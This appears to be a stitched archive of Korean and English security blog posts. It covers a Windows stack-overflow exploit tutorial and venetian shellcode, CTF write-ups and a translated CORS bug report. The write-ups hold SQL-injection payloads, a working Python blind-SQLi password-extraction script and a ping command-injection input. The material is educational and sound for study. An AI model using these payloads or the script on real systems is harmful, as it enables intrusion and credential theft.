esp주소에는 0x000ff730이다. 마지막에 널값이 있어서 Null terminate된다. 이렇게 하면 안될 것 같다. 그러면 어떻게 해야 할까?

 

만약 jmp esp와 같은 명령어를 실행시킬 수 있다면 esp로 안전하게 뛸 수 있을 것이다.

 

일단 windbg와 익스할 컨버터 프로그램을 다시 띄운 뒤, attach to the process를 이용해서 windbg를 붙여보자.

그리고 밑에 커맨드 창에 a 치고 엔터를 친다. 그러면 assemble 모드가 된다.

그리고 jmp esp를 치고 엔터를 친다.

그러면 지금 주소값에 jmp esp가 등록이 된다.

그리고 다시 엔터를 치면 assemble모드가 꺼진다.

그리고 u 7c90120e를 치면 아까 우리가 쓴 값의 부분이 디스어셈블되서 보인다.

여기서 우리가 알게된 것은 jmp esp의 opcode가 ffe4라는 점이다.

 

그러면 이 컨버터 프로그램이 실행하는 dll 라이브러리 중에 ffe4라는 opcode를 갖고 있는 녀석이 있을까?

 

커널 DLL말고 어플리케이션 dll중에 codec02라는 녀석으로 패턴을 찾아보았다. 코어랜 블로그와는 dll 로드되는 주소가 다르긴 했는데 잘 찾아졌다.

그리고 익스플로잇 코드를 조금 손봤다.

그런다음에 windbg랑 컨버터를 다시 새로 키고, 디버거를 붙인 뒤, g명령어로 실행을 시키고 해당 익스플로잇 파일을 로드해보았다.

 

breakpont에 잘 걸렸고, esp에 쉘코드도 잘 보인다.

Real 쉘코드 삽입 및 익스플로잇 마무리

이제 NOP + \xcc로 디버거 브레이크만 잡는게 아닌, 실제 쉘코드를 넣어서 익스플로잇이 잘 되는지를 확인해보도록 하자.

 

윈도에서는 계산기를 띄우는 쉘코드를 많이 쓰니, 이를 한번 이용한다. 메타스플로잇에 있는 쉘코드 generator를 이용해서 쉘코드를 얻는 것 같다.

 

쉘코드를 복붙하는게 귀찮으니, 호스트에서 만들어서 넘기도록 하겠다.

근데 안된다..

 

쉘코드 점프까진 되는데 왜 안되지.

 

그래서 코어랜 익스코드처럼 앞에 NOP을 25개 정도 붙이고 다시 해보았다.

 

위와 같이 익스코드를 생성해보았다.

그니깐 되네. 왜그럴까..

 

하고 생각을 해보았는데, 아마 쉘코드 내용에서 스택을 쓰는 녀석들이 있을 것이다.

 

push pop 등등을 좀 할건데, 쉘코드가 거기에 곧바로 있으면 실행하면서 그 쉘코드 자체를 변경해버려서 그렇게 되지 않을까 하는 추측이 된다.

 

쉘코드 시작부분이다.

일단 pop eax가 한번 나타난다. push 하는게 없었으니, 쉘코드가 하나 떨어져 나가겠다.

그리고 보면, NOP을 안넣었을때 크래시가 나는 곳이 0xff75f 부분인데 eax + 68에 접근을 한다. eax는 근데 쉘코드 맨 앞 부분과 관련이 있으므로 NOP을 넣으면 그 부분이 다른 값이 들어가게 된다.

 

뭐 어쨋든 NOP을 넣어서 꼭된다 이런거는 아니긴 하다. 영 아니면 다른 쉘코드를 집어넣거나 쉘코드도 직접 만드는 방법도 있겠다.

 

어쨋든 계산기를 봤으니 이만 글은 줄인다.

 

--------------------------------------------------------------------------------------

https://www.microsoft.com/ko-kr/download/details.aspx?id=16614

https://docs.microsoft.com/ko-kr/windows-hardware/drivers/debugger/debugger-download-tools

https://www.giannistsakiris.com/2007/09/28/virtualbox-access-shared-folders-from-windows-xp-guest-os/

https://woosunbi.tistory.com/62

개요

이 글에서는 유니코드 쉘코드와 베니스 쉘코드에 대하여 간단하게 알아본다.

 

유니코드를 기본 값으로 사용하는 시스템에서 Payload를 주입했을 때, 중간에 Null byte가 삽입되는 경우가 있을 수 있다. 이는 입력값을 Unicode로 처리하기 때문에 일어날 수 있는데, 이러한 경우 홀수번째 값이 Null byte인 값으로 쉘코드를 만들수 있을 것인지에 대한 내용을 다루어보도록 하자.

 

베니스 쉘코드(venetian shellcode)

일단 PC는 원하는 주소로 잘 변경했다고 가정을 한 뒤 생각해보자.

 

그냥은 쉘코드를 만들기에는 중간에 null byte가 들어있는 기계어 코드는 많지 않으므로 제약사항이 많을 수 있다.

 

하지만 몇가지 코드들을 이용해서 메모리에 값을 쓰도록 한다던지, 레지스터 값을 +1를 한다던지 등의 작업은 할 수 있다.

 

위와 같이 코드를 구성한다면 중간중간에 Null byte가 들어가지만, 원하는 동작들은 할 수 있다.

 

그리고 또한 inc instruction도 쓸만하다.

위와 같이 구성을 하면 조건에 맞게 shellcode를 만들 수 있다.

 

이를 이용해서 eax를 하나씩 늘려가면서 eax를 가리키는 메모리 주소에 원하는 1byte를 쓸 수 있다.

그리고 null byte align을 맞추기 위해서 [ebp]가 가리키는 곳에 ch 레지스터의 값을 더할 수 있는데 보통 이 값은 0이므로 아무일도 일어나지 않는다.

 

이러한 걸 이용해서 베니스 쉘코드란걸 작성을 할 것인데, 아이디어는 간단하다.

 

베니스 코드라는 녀석을 이용해서 메모리 적당한 곳에 Null byte가 없는 우리가 원래 쓰던 진짜 쉘코드를 쓰게 만든다.

베니스 코드는 유니코드로 인코딩되어서 중간중간에 null byte가 있지만, 위에서 하는방식으로 원하는 값을 1byte씩 한땀 한땀 작성할 수 있다.

그리고 우리가 베니스 코드로 작성한 진짜 쉘코드(null byte가 없는)녀석으로 점프를 뛰면 끝이다.

블랙햇 발표자료 슬라이드에 해당 내용을 나타낸 곳이다. UNICODE인 베니스 코드가 리얼 쉘코드를 한땀 한땀 쓰는 모습이다.

 

그외에도 NOP이나 byte값 변경이라던지 등에 유용한 어샘 코드들이 좀 있다.

저런 녀석들을 이용해서 리얼 쉘코드를 만든 뒤 점프뛰면 되겠다

add al, 0는 NOP에 해당하고

inc byte ptr[eax]는 1바이트 값 변경, mov byte ptr[eax]도 mov를 이용한 바이트 값 변경에 해당된다.

 

대신 이 쉘코드는 꽤 길어지는 경향이 있긴 한데 그래도 꽤 쓸만하다.

 

 

--------------------------------------------------------------------

https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/

https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf

https://www.kisec.com/_core/_download.php?file_url=lab&file_name=album_5b69337831c13.pdf&real_name=%5Bexploit+writing%5D+7_%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C.pdf

SQL Breaker 1

I am posting write-up after ctf server has been shuted down.

So, I will explain the write-up not in detail but focus core ideas.

We can find the login form like above.

The challenge name is 'SQL Breaker 1', so we can easily guess this challenge is a kind of sql injection problem.

 

When we insert the WORLD WIDE PAYLOAD 'or 1=1#, we easily can get the flag.

 

 

Flag is flag{Sql1nj3ct10n}

 

 

SQL Breaker 2

Second challange have very similar web UI.

Almost equal login form. But when we insert the payload 'or 1=1--  at username field, it is logged in as john 

We should logged in as admin user.

When I tried insert the payload 'or 1=1-- in password field, it doesn't work. Just incorrect username/password error message was seen to me.

 

So I guessed the sql query on server side is like below

SELECT * FROM USER WHERE name='{$name}' and pw=hash('{$password}')

 

I thought it is better to insert payload on username field rather than password field.

 

Several more trials, I guessed that there is no admin account row in server database.

So I tried Union based sql injection.

 

I insert the paylods on username below.

dddd'union select 'admin'-- 

dddd'union select 'admin', 'admin'-- 

dddd'union select 'admin','admin', 'admin'--

 

Those derives login fail. I guessed the number of column returned is not 1 or 2 like that.

 

When I insert 5 column with union sqli paylod, it successed.

dddd'union select '1','2','3','4','5'-- 

 

But it still log-ined as john.

 

With more consideration, to get more information about the server database data, I tried blind sql injection to get some more data.

 

I extracted password field and id field with payload like

john' and length(password) > 5-- 

john' and ord(substr(name,2,1)) > 5-- 

that.

 

#!/usr/bin/env python

import urllib
import urllib2
import sys

URL = "https://challenges.neverlanctf.com:1165/login.php"
UA =  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
Cookie = "PHPSESSID=bhon2smt11sccq4nehiglstqaj"

def logout():
    uurl = URL + "?logout"
    req = urllib2.Request(uurl, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })
    res = urllib2.urlopen(req)
    

def query(Q):
    logout()
    UURL = URL + "?password=1&username=" + urllib.quote(Q)
    req = urllib2.Request(UURL, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })

    res = urllib2.urlopen(req)
    text = res.read()
    if "location.href" in text:
        print "Session expired..."
        sys.exit()
    # print text
    return "<h2>Welcome" in text

def find_length():
    left = 0
    right = 200 # (left, right]
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and length(name) > {}-- ".format(mid)):
            left = mid+1
        else:
            right = mid
    return right

def find_ch(pos):
    print "Finding pos {} th character".format(pos)
    left = 0
    right = (1<<8)
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and ord(substr(name,{},1)) > {}-- ".format(pos, mid)):
            left = mid+1
        else:
            right = mid
    print "COOL!! {} = {}".format(pos, right)
    return right

LENGTH = find_length()
print "LENGTH = {}".format(LENGTH)
PASSWORD = ""
for i in range(1, LENGTH+1):
    PASSWORD += chr(find_ch(i))
    print PASSWORD

print PASSWORD

query(PASSWORD)

Interesting result occured.

 

password = "0a4b0ae54adbdc2825e1b05e16c7164cfdfce29e8f6fd104c7e539fc39e5c619"

id = "1"

 

password length was 64, so I thought it is 256bit hash digest.

When I get them in commonplace sha256 online decrypt database, result was "T3stUs3r"

 

When I tried to login with John/T3stUs3r, it succeed.

 

I thought id value in the database is "John" but it was number 1.

 

I tried union based sql injection to get other id number

dddd'union select '2','2','3','4','5'-- 

 

This payload give me the admin account login session.

 

The first return column must be the id value in database, id=1 is user john, id=2 is user admin.

 

 

 

Flag is flag{esc4p3y0ur1nputs}

 

DasPrime

So simple programming challenge.

Simply correct the python code to get correct prime numbers.

import math
def main():
    primes = []
    count = 2
    index = 0
    while True:
        isprime = True
        for x in range(2, int(math.sqrt(count) + 1)):
            if count % x == 0: 
                isprime = False
                continue
        if isprime:
            primes.append(count)
            print(index, primes[index])
            index += 1
            if index == 10497:
                break
        count += 1
if __name__ == "__main__":
    main()

Code above print the (index, prime) from 0th index to 10496th index.

We count from 0, 10496 indexed number prime is actually 10497th prime.

 

The prime number detection algorithm is naive.

If a number //(A//) is not divisible with //(B//) between //(2//) and //(\sqrt A//), the number //(A//) is prime.

 

When you run the python code above, the result is like that

The answer is 110573.

 

이번 포스팅에서는 인코딩과 암호화 및 해시에 대하여 설명해보고자 한다.

자주 혼동되는 개념이기도 하고 처음에 접하면서 햇갈려하는 사람들이 꽤 있어서 명확하게 구분을 지어보려고 한다.

 

인코딩(Encoding)과 디코딩(Decoding)이란?

일단 인코딩에 대하여 이야기해보겠다. 인코딩(encoding)은 code화 한다는 뜻이다. 무언가를 코드로 바꾼다는 뜻이다.

반대로 디코딩(decoding)은 코드에서 원래 모습으로 되돌리는 것이다.

 

약간 햇갈리는 개념이 될 수 있는데, 이 단락은 이해가 안되면 그냥 넘어가도 좋다.

인코딩이란 심볼을 코드로 바꾸는 것이고, 디코딩은 코드를 심볼로 다시 바꾸는 과정이다.

여기서 심볼은 뜻을 가진 무언가라고 보면 되고, 코드는 뜻을 갖지 않은 무언가이다.

즉, 인코딩은 의미(내용, 혹은 뜻)을 기호로 바꾸는 과정, 디코딩은 그 반대의 과정이다.

 

그렇다면 코드(code)는 무엇일까?

 

코드는 인코딩 방법에 따라 각자 다른데, 여기서는 무언가를 나타내는 기호라고 생각하면 되겠다.

인코딩 방법에 따라서 각각의 코드가 무엇을 나타내는지는 달라지게 된다.

 

사실 컴퓨팅, 계산과학 등 컴퓨터와 관련된 분야에서 심볼과 코드의 경우, 보통 사람이 읽을 수 있는 내용들(심볼)을 컴퓨터가 인식할 수 있는 데이터(이진 데이터, bit)로 변화하는 경우가 대부분이다.

따라서 심볼은 자연언어(영어, 한국어, 일본어 등등...)이거나 이미지(사람이 인식할 수 있는) 및 동영상, 소리 등이 되는 경우가 많고, 코드는 컴퓨터가 인식할 수 있는 바이너리 데이터가 되곤 한다.

 

모스 부호(Morse code)를 예로 들어보겠다. 모스 부호의 영어 단어도 Morse Code이다.

이 경우에는 알파뱃(A,B,C,...,Z)과 아라비안 숫자(0,1,2,3,...,9)가 심볼이 되고, 오른쪽에 점과 작대기가 코드가 된다.

점과 작대기는 사실 뜻이 없고, 알파뱃은 뜻이 있는데, 이 알파뱃들을 점과 작대기로 바꾸는 과정은 인코딩이 되고, 점과 작대기로 알파뱃으로 되돌리는 과정은 디코딩이 된다.

 

사실 이제 눈치채었겠지만, 인코딩과 디코딩 과정은 표현방식을 바꾸는 것 뿐이다. 그리고 그 과정에서 정보의 손실은 없다.

정보의 손실이 없다고 하는 것은 어떤 정보 A를 B로 인코딩 한 뒤, 다시 디코딩 했을 때 원래 정보 A에서 사라지는 정보가 없다는 것이다.

 

만약 어떤 영어 문장이 있었을 때, 이 문장에서 짝수번째 자리에 있는 알파뱃만을 모스부호 인코딩을 한 경우, 이 과정에서는 정보의 손실이 나타나게 된다.

왜냐면 다시 모스부호 디코딩을 한 경우 문장의 홀수번째 자리에 있는 알파뱃만이 남아있기 때문에, 짝수번째 자리에 있던 알파뱃의 정보는 손실이 되기 때문이다.

 

다른 유명한 인코딩은 무엇이 있을까?

다양한 인코딩들이 있다. 사실 인코딩은 심볼을 어떻게 코드화 하는지, 그리고 되돌리는지에 대한 규칙만 있으면 쉽게 만들 수 있다. 그래서 인코딩 이름에 encoding이 들어가는 경우도 있고, 그냥 무슨 무슨 코드라고 써있는 경우도 있다.

간단하게 봐서는 심볼과 코드의 단순 1대 1 대응관계라고도 볼 수 있다.

 

아스키 코드(ASCII Code)

아마 컴퓨터공학을 전공하면 처음으로 배운 코드 중 하나일 것이다. 로마자 알파뱃과 아라비아숫자, 그리고 일부 특수문자들을 1byte로 표현할 수 있는 간단한 코드이다. 이 문자들은 1byte 정수로 인코딩되며, C언어에서 문자(열)을 다룬다면 매우 친숙한 코드일 것이다.

유니코드 (UTF-8 혹은 UTF-16 등)

아스키코드의 경우 로마자 알파뱃만 표현이 가능하다는 불편한점을 개선한 코드로, 전 세계 모든 글자를 다 표현할 수 있는 문자 처리 방식이다. 사실 유니코드 자체는 인코딩이 아닌, 이런 전세계 모든 문자 각각을 1바이트 이상의 크기로 표현할 수 있게하는 방식이고 이를 실제로 구현한 인코딩이 몇 가지가 있는데 그 중 가장 유명한 녀석 중 UTF-8와 UTF-16이 있다.

Base 64 인코딩

Base 2라고 하면 2진법을 뜻하고 base 10이라고 하면 10진법을 뜻한다. 따라서 base64는 직역하면 64진법이 된다.(64진법이라고 부르는 경우는 없는데 이해를 돕기 위한 내용이다.)실제로도 64개의 서로 다른 printable한 문자들을 코드로 사용하고 있으며, 심볼로는 모든 범위의 바이너리 값을 표현할 수 있도록 고안된 인코딩 방법이다.

이미지나 동영상 등 바이너리 데이터를 깨지지 않는 출력가능한 문자로 표현하기 위해 자주 사용되는 녀석 중 하나이다.

uuencoding

요녀석은 자주 나타나지는 않는데 이 녀석도 바이너리 데이터를 printable 한 값으로 변환시킬 수 있는 인코딩방법이다.

URI Encoding(% encoding)

URI에서 일부 특수문자들 등을 나타낼 때 사용하는 인코딩 방법으로, 인코딩 방식이 % 뒤에 16진수 hex 값 2글자가 들어가는 방식의 인코딩이라서 퍼센트 인코딩이라고도 부른다. 네이버 주소창에서 아무 한글로 검색한 뒤, URL창을 보면 마지막 URI 쿼리스트링 부분에 %로 인코딩 된 부분들을 쉽게 볼 수 있다.

 

인코딩은 왜 하는 것일까?

인코딩을 하는 이유는 상황별로 조금 다를 수 있긴 하다. 하지만 일단 컴퓨터라는 것 자체가 0과 1로 이루어진 bit들이 모여서 각종 작업을 하는데, 이때 한글이나 영어와 같은 데이터들을 처리해야하는 경우가 항상 있다. 그러면 컴퓨터는 어차피 숫자만 다루기 때문에, 한글과 영어와 같은 심볼들을 숫자 Code로 맵핑해야 한다.

이런 경우 문자열 인코딩(Character encoding)이 필연적으로 필요해진다.

 

또한 어떤 값들을 네트워크나 다른 영역으로 전송해야 하거나 전송받아야 하는 경우, 서로 다른 플랫폼이라서 데이터를 표현하는 방식이 다르더라도 서로 호환되도록 공통적인 데이터 표현방식이 필요할 수 있다. 마치 세계 공용어로 영어가 쓰이면 지구 모든 사람이 영어를 할 줄 안다면 세계 누구와도 언어가 통할 수 있듯이, 그러한 표준화된 데이터 표현 방법을 정의한다고 보면 된다.

 

따라서 인코딩의 목적은 정보의 호환성이 되겠다. 

 

암호화(encrypt)와 복호화(decrypt)란?

인코딩과 암호화를 많이 햇갈려하곤 한다. 그런데 둘은 목적 자체도 다르고 성질도 다르다. 인코딩은 표현 방법을 바꾸는 것이고, 암호화는 남이 정보를 알아보지 못하게 하는 것이다.

암호화의 목적

암호화의 목적은 남들이 정보를 알아보지 못하게 만드는 것이다. 평문(plain text)을 암호화하면 암호문(cipher text)이 되고, 암호문을 복호화하면 평문이 된다.

그리고 여기서 '남'이란 암호 키가 없는 사람이다. 암호 키가 있는 사람은 복호화를 할 수 있고, 암호키가 없는 사람은 복호화를 할 수 없다. 즉, 키가 없으면 원래 평문이 어떤 값인지 알 수 없다는 것이다.

 

여기서 인코딩과 암호화의 첫번째 차이가 나왔다. 바로 '키'의 존재 유무이다.

 

암호의 종류

암호 부분은 자세히 들어가면 굉장히 복잡하다. 보통 암호를 금고에 많이 비유를 하는데, 일단 암호 시스템의 구성요소는 4가지라고 보면 된다.

평문과 암호 알고리즘 그리고 키와 암호문이 된다.

 

평문을 암호 알고리즘과 키를 통해서 암호화를 하면 암호문이 된다.

 

평문은 중요 정보라고 보면 되고, 암호 알고리즘은 금고이다. 그리고 키는 금고의 패스워드가 된다.

금고안에 들어간 중요 정보는 암호문이라고 보면 된다.

 

암호는 키의 형태에 따라 대칭키, 비밀키 암호가 있고, 대칭키는 암호화에 쓰이는 키가 복호화에도 쓰이는 것이다.

비밀키는 키가 비밀키 및 공개키로 한 쌍이 있고, 비밀키로 암호화하면 공개키로 복호화가 되고, 공개키로 암호화를 하면 비밀키로 복호화가 되는 특이한 방식의 암호이다.

 

암호 알고리즘의 종류

암호 알고리즘도 다양한 종류가 있는데, 유명한 몇 가지를 알아보도록 하겠다.

 

DES(Data Encryption Standard)

매우 오래된 대칭키 암호 알고리즘이다. 취약성하다고 알려져서 요즘은 그냥은 사용하지 않는다.

 

AES(Advanced Encryption Standard)

DES가 취약하다고 알려져서 이를 대체하기 위해 새로이 만들어진 대칭키 암호 알고리즘이다.

 

RSA(Rivest Shamir Adelman)

암호 알고리즘을 만든 3명의 이름을 본 따서 이름을 지은 공개키 암호 알고리즘이다. 지금까지도 널리 잘 쓰이고 있는 암호 알고리즘이며, 공개키 암호 알고리즘의 대표격이다.

 

암호화와 정보의 손실

아까 인코딩은 정보의 손실이 없다고 했는데, 그렇다면 암호화는 정보의 손실이 있을까?

답은 구현에 따라 다르다이다. 단방향 해시함수를 이용해서 암호화를 하는 경우가 있는데, 이 경우는 해시함수의 특성상 정보 손실이 일어나고 복호화가 불가능하다.

 이는 조금 특별한 경우인데, 보통 계정 정보의 패스워드를 이 방식을 통해서 암호화하여 저장한다.

패스워드가 동일한지는 입력한 패스워드를 단방향 해시함수로 암호화 한 뒤, 기존에 저장된 암호문과 일치하는지를 확인한다.

 

 

 

 

 

-------------------------------------------------------------------

https://ko.wikipedia.org/wiki/%EB%AA%A8%EC%8A%A4_%EB%B6%80%ED%98%B8

https://medium.com/@sasaxxx777/cors-misconfiguration-leading-to-private-information-disclosure-9ebcbd4740d9

 

CORS Misconfiguration leading to Private Information Disclosure

Hi hackers, today i will talk about CORS that i found in a private program

medium.com

본 포스팅은 위 블로그 글의 번역본입니다.

----------------------------------------------------------------------------------------

 

이번 글에서는 CORS에 관하여 다루어볼 예정이다.

 

일단 이 사이트를 private.com이라고 해보자.

 

이것 저것 좀 시도해본 뒤, 이 사이트의 서브도메인을 찾았는데 이거를 xyz.private.com이라고 부르겠다.

 

그리고 나서 burp suite로 크롤링이랑 파라메터 digging을 시도했고, origin 헤더랑 같이 요청이 날아갔다.

origin 헤더는 이 요청이 어느 도메인에서 시작되었는지를 나타내는 HTTP 헤더이고, path information은 갖지 않는다. 즉 xyz.private.com/index.php 에서 요청을 보냈다면 /index.php 부분의 값은 무시하고 domian 부분만 해당한다는 뜻.

 

Origin 헤더는 Access-Control-Allow-Origin 헤더에 의해 accept되었고, Access-Control-Allow-Credentials 헤더가 true로 값이 설정되었다.

 

Access-Control-Allow-Origin 헤더는, 해당 Origin에서 온 요청이 Accept될 것인지 아닌지를 알려주는데, xyz.private.com이 값으로 있으므로, 해당 URL의 Origin에서 시작된 요청은 Accept된다는 뜻이다. Origin 구분없이 Accept될 것이라면 *라고 쓰여있을 것이다.

 

Access-Control-Allow-Credentials라는 HTTP 헤더는 응답 헤더인데, credential이 포함된 요청을 보냈을 때, 응답 값을 브라우저가 프론트엔드 자바스크립트한테 요청할 지 안할지를 정해주는 그런 헤더라고 한다.

 

이 현상을 보고, 저자는 서버가 어떻게 origin header를 처리하는지를 조사를 했다.

그리고 원래 메인 도메인으로 요청을 보냈고, 서버는 이에 대하여 accept 했다.

그래서 private.com에서 점을 지우고 보냈는데, 서버가 또다시 accpet을 해 주었다. 서버는 도메인 이름과 com이 있는지만 체크하고, 그 사이에는 무엇이 있든간에 무시하는 것 같았다. 그래서 private와 com사이에 1을 넣어서 보내보았다.

그리고 똑같이 accept가 응답이 돌아왔다.

 

그래서 privatescom.000webhostapp.com이라는 주소로 하나 도메인을 만들었고, 이를 이용해서 POC 코드를 작성해 보았다.

 

그리고 만든 도메인에서 응답을 받을 수 있었고, 유저 정보를 훔칠 수 있었다.

'해킹 & 보안' 카테고리의 다른 글

wechall.net(위첼) 소개  (0) 2020.06.30
Gopher protocol 간단 분석  (0) 2020.06.20
워게임 사이트 root-me.org  (0) 2019.11.27
checksec.sh Linux ver  (0) 2019.07.25
Caesar Cipher Text Online Codec (Batch)  (0) 2019.07.25

English write-up

http://lowdeep.insomnihack.ch/

 

Insomni'hack 2020 Teaser

LowDeep Plateform That's our new plateform to perform ping the easy way.

lowdeep.insomnihack.ch

Reading the text, this is a kind of ping service.

 

Let's input the 127.0.0.1

Output of input "127.0.0.1" is command line stdout of linux ping command.

 

We can easily guess this it the bash shell command injection challenge.

 

I did some trials about well-known command injection symbols like ; | & $

 

Only ; character is not filtered by the server.

 

Let's input the 127.0.0.1;ls

 

 

Any other command like cat, /bin, bash is not applicable for that server. I tried "ls -alR" also.

I searched for some files like 'robot.txt', and there are some texts but it was not something important.

 

When I tried to connect the server with path /print-flag, I can get 64bit ELF binary file.

Just executing the binary, we can find somthing.

$ file print-flag
print-flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped
$ ./print-flag
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

We've got the flag.

한글 풀이

http://lowdeep.insomnihack.ch/

 

Insomni'hack 2020 Teaser

LowDeep Plateform That's our new plateform to perform ping the easy way.

lowdeep.insomnihack.ch

글을 읽어보니, ping 서비스를 해주는 페이지라고 한다.

 

127.0.0.1를 한번 넣어보자.

결과는 리눅스 커맨드라인에서 ping 127.0.0.1한 결과가 나온다.

 

간단하게 커맨드 인젝션 문제임을 추측할 수 있다.

 

몇가지 커맨드 인젝션 관련된 심볼들을 넣어봤는데, (; | & $ 같은녀석들)

 

; 문자만 통하는 것 처럼 보였다. 나머지는 다 Forbidden이 뜬다.

 

127.0.0.1;ls를 입력해보자.

 

다른 cat이나 /bin/bash 같은 문자들도 다 필터링 되거나 permission denied가 뜨거나 했다. 그래서 ls -alR로 디렉토리 계층구조를 확인해보았다.

 

몇가지 특이해보이는 파일들이 있는데, robots.txt라던지 등이 있다. 하지만 실제로 들여다 보면 뭔가가 있기는 한데 플래그를 얻는데 필요하거나 중요한 내용들은 아니었다.

 

URL경로에 /print-flag 로 접근하니 64비트 ELF 바이너리 파일을 얻을 수 있었다.

 

실행을 시켜보니 플래그가 나왔다.

$ file print-flag
print-flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped
$ ./print-flag
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

 

X-mas CTF 2019 Emulator - Emu 2.0 Problem write -up

http://xmas.htsp.ro/

 

 

English Write-up

 

This problem is categorized as "Emulator". Following the link provided, there are a rom file and Emu2.0 spec document pdf file.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

Maybe rom file is binary file which can be executed the machine Emu 2.0, pdf file contains the information about the Emu 2.0 Machine.

 

This problem is actually programming challenge.

 

There is no special solution, just implementing the Emu2.0 with the pdf file specification and insert the rom data to the emulator.

 

I tried to implement Emu 2.0 machine, but I did some trial and error with some cases.

1. Instruction size of 2byte, thus hex code "2X XX" denotes, upper 4bit is opcode, the other 12bit is operand. But I misunderstood as 8bit opcode and 8bit operand. T.T

 

 

2. Endianness.

My machine is little endian. But the document assumes reader will know that it is big-endian.

I/O instruction which is mandatory to print the flag, is denoted as 13 37 itself when I check the rom binary with "xxd" command, that's why I can certain this rom is aligned as big-endian.

Then, I should program the Emu 2.0 fit to the big-endian

 

 

3. Instruction memory and data memory is combined.

I implemented both as separated ones, but something goes wrong when I executed the semi-final version Emu2.0, I re-inspect the document. 

In the memory part, it inform us that memory is unique, which can be used as instruction memory and also as data memory.

 

"including storing the instructions it needs to execute and the data it needs to process."

There is no segmentation!

 

4. Undefined Instruction

There is a sentence about the undefined instruction handling.

 

 

Conclusion => You should read document carefully. There is all you need!

 

Emulator source code is attached below.

 

한글 풀이

 

Emulator 카테고리에 있는 문제이다. 링크가 제공된 구글 드라이브로 이동해 보니, rom이라는 파일과 docs pdf 파일이 있다.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

 

rom 파일은 아마 에뮬레이터 스펙대로 동작하는 바이너리 파일일 것이고, pdf파일에는 에뮬레이터 작성에 필요한 정보들이 들어있을 것이다.

 

사실상 코딩문제에 가깝다고 볼 수 있다.

 

문제 풀이법은 특별한 내용은 없고, 단지 pdf에 있는 스펙대로 에뮬레이터를 작성해서 rom을 넣어버리면 된다.

 

 

직접 구현하면서 문서를 제대로 안읽어서, 혹은 이해를 제대로 안해서 몇번의 삽질을 했는데 대충 다음과 같은 부분에서 삽질을 좀 했다.

1. instruction이 2바이트인데, Hex Code가 2X XX 와같은 방식인 경우, 최상단 4bit가 Instruction opcode을 나타내고, 나머지 12bit가 operand를 나타낸다. 근데, 8bit / 8bit이 opcode / operand인줄 알고 다시 짯다.

 

2. endianness 때문에 햇갈렸었다. 근데 xxd 커맨드로 롬을 확인해보니, I/O때문에 필수적인 instruction인 13 37라는 Hex Code가 그대로 나오는 것으로 보이서, Hex code가 xxd 커맨드로 보이는 것 기준이라는 것을 알게 되었다. 따라서 little endian인 내 머신에서는 위치를 맞추어 주어야 했다.

3. Instruction Memory와 Data Memory가 따로 분리되어 있지 않았다. 맨처음에 분리해서 구현했다가, 합쳐줘야지 한다는 것을 2.2 Memory 파트를 보고 알았다.

including storing the instructions it needs to execute and the data it needs to process.

같은 메모리에 적재되어야 했다.

 

4. Undefined instruction을 어떻게 처리하느냐에 대한 내용을 구현안해서 거의 다 짜놓고도 삽질을 좀 했다.

 

 

결론은 문서를 잘 읽자! 라는 결론이 나왔다.

 

 

Flag: X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}

English write-up

 

You can find the menu below when connect to the problem server with nc.

 

If you choose menu No.3, the server reply the source code.

 

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.

 

At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.

 

Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about  python format string grammer precisely, but there is no consistency between "quantity value" and "type value".

